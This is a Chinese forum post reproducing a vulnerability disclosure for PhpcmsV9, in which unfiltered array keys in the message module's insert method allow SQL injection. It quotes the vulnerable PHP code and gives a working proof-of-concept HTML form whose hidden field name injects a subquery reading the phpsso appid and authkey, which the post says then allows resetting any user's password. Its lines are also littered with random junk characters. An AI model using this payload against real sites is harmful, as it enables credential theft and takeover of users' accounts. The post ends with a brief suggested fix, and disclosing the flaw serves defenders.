找回密码
 立即注册
查看: 2849|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:% Z  Z8 g3 T7 r4 ]7 Z5 Y9 D1 v

& k- X, L5 m  F- S第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。% G4 P, D; z2 h, {9 M
/ W4 n: h  m$ G0 ?! t
明天再更新下一个漏洞。1 ~- L- _5 _  D% |& G& j' w
详细说明:
7 @/ s1 Y. v8 g, w5 C* v4 h在/phpcms9/phpcms/modules/message/index.php中有代码如下:5 q/ n( A- G8 L0 \: J; f$ O

) c/ D7 ^) l. q5 @) ?$messageid = $this->message_db->insert($_POST['info'],true);. n4 ]. l) G7 b/ [( }/ ]
" C$ D# t* n4 L  m- n! l& U2 @

- s" r1 u6 O3 X" S, Ginsert方法是key value的,代码如下:4 Y5 h/ V( ^0 F" \4 p7 n# }
% z- s5 B- f( s% I( E* {( r
public function insert($data, $table, $return_insert_id = false, $replace = false) {
* T" g6 \$ T0 A% Y) B+ B9 l                if(!is_array( $data ) || $table == '' || count($data) == 0) {2 ~( {$ y1 g" Y* S0 e  G
                        return false;6 }/ Q+ d. o. }' P
                }
7 P) R, L! U3 z4 q- ^9 k                : b. U7 g  k8 J; [; x, }, U
                $fielddata = array_keys($data);1 P! g$ S  a9 Y/ ^
                $valuedata = array_values($data);6 y, F+ E8 t9 l/ `+ r
                array_walk($fielddata, array($this, 'add_special_char'));# P, ^- M. b& v. J# t
                array_walk($valuedata, array($this, 'escape_string'));
. W! G" D4 ]% O) c; p$ |- S               
' y! T( N0 P1 A                $field = implode (',', $fielddata);" }( Z( ?- p) ?
                $value = implode (',', $valuedata);+ O' g7 d0 t1 F4 ?  K! N6 Z
7 W5 `4 D1 Y2 ^
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
  n  W! I$ i; \6 m2 @8 ~9 P                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
; K' T, @4 h( C: |, }; E                $return = $this->execute($sql);
/ V' y5 x" S8 H2 a, e                return $return_insert_id ? $this->insert_id() : $return;( k/ Y& y! }  `
        }
+ x- l( G. K" F- ~$ b7 P1 B& Q% R0 D9 u! u% b. D& q8 M
1 }7 |& l2 G" q! K% E. t6 ]
嗯,很遗憾的是
+ L9 M; T- |( N1 n" W7 E& u8 S0 k2 f/ t0 X: B
array_walk($fielddata, array($this, 'add_special_char'));' w' ~0 j% H5 t) S5 A

. Z+ W& O, m* C$ u. G- J- e4 x: o5 C' B, f2 M  q5 p
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
) j  U' Y$ }1 K+ `) g
; r' j) n- G5 }! j到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。3 E8 F; A1 a+ S7 a% t! B8 G# }

  [6 H9 L* j: |) j& b) U5 `漏洞证明:( l# Z8 v& P# D/ `& j) H* w
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。' s8 W+ i) {9 |5 \
$ f1 m7 r2 U1 y

) ]2 y2 R3 |# x* C表单如下:用户名什么的得自己改一改。3 x6 x  J/ N# s# @
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
/ X& C( O  F' w<table width="100%" cellspacing="0" class="table_form">; `- u+ [4 O; }8 N$ M2 Q/ R/ p( R( y0 o
<tr>
7 z7 O$ n- S* [<th>标 题:</th>/ `: M  J$ U1 F2 e4 a) `2 T! q' P
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
; G8 t# E/ s$ I! W- J, R% X( g9 A</tr>
; E$ {& W8 f5 `# O<tr>4 Q( @4 k3 K: @# D. A
<th>内 容:</th>
+ K! L5 T) T2 W<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
2 L! g8 s1 Y' m) I: a</tr>
5 K# g* |; h4 @/ ?- A7 M# L1 Y<input type="hidden" name="info[replyid]" value="2" />
' |5 W9 d3 t3 f3 ?; W<input type="hidden" name="info[send_to_id]" value="cc" />
2 g# M2 ]% }! h8 j- f/ q! @: o  f<input type="hidden" name="info[send_from_id]" value="hh">
5 L( e3 ?6 i/ [3 _; B7 k% O<!-- 漏洞的利用重点在这里开始 -->; y4 q' U- w% W+ D* n, D* A
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> 9 O1 N1 d& a' E" [+ m4 d  Y
<!-- 漏洞的利用重点在这里结束 -->. q' J% A) _) N9 M* c6 f8 C1 ~' w
<tr>
- B/ Z. V, Q1 p, Z<th>验证码:</th>; O- D! K) h+ W& O, [
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>" _! s; H4 I  V! _/ M0 S7 Y. H) ~( Z
</tr>
( p# [* t/ s+ J5 M& F( p( v<tr>% d! O3 C0 L9 t7 X1 P3 y. m# k
<td></td>2 t& z: H2 |, J/ v" Z' i
<td colspan="2"><label>. A( `$ f" b6 j# M# _) F
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>; J& I1 }" j6 t, h
</label></td>/ z5 E# S1 \6 i& E7 O6 @( C$ h
</tr>
4 m+ s( A* Z6 p3 Q! v</table>
* ?2 _" D* k% ~9 [</form>
" p2 i# [" l" C2 W在add_special_char函数内对key做过滤就可以了。
7 y3 \* a1 p7 A8 t( r: S
9 ?" V. E  O9 M4 U  o: ~- l& n7 `+ g5 e1 N! Z$ Q, |2 Q0 r
- U6 v: a' d5 y8 \+ L

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表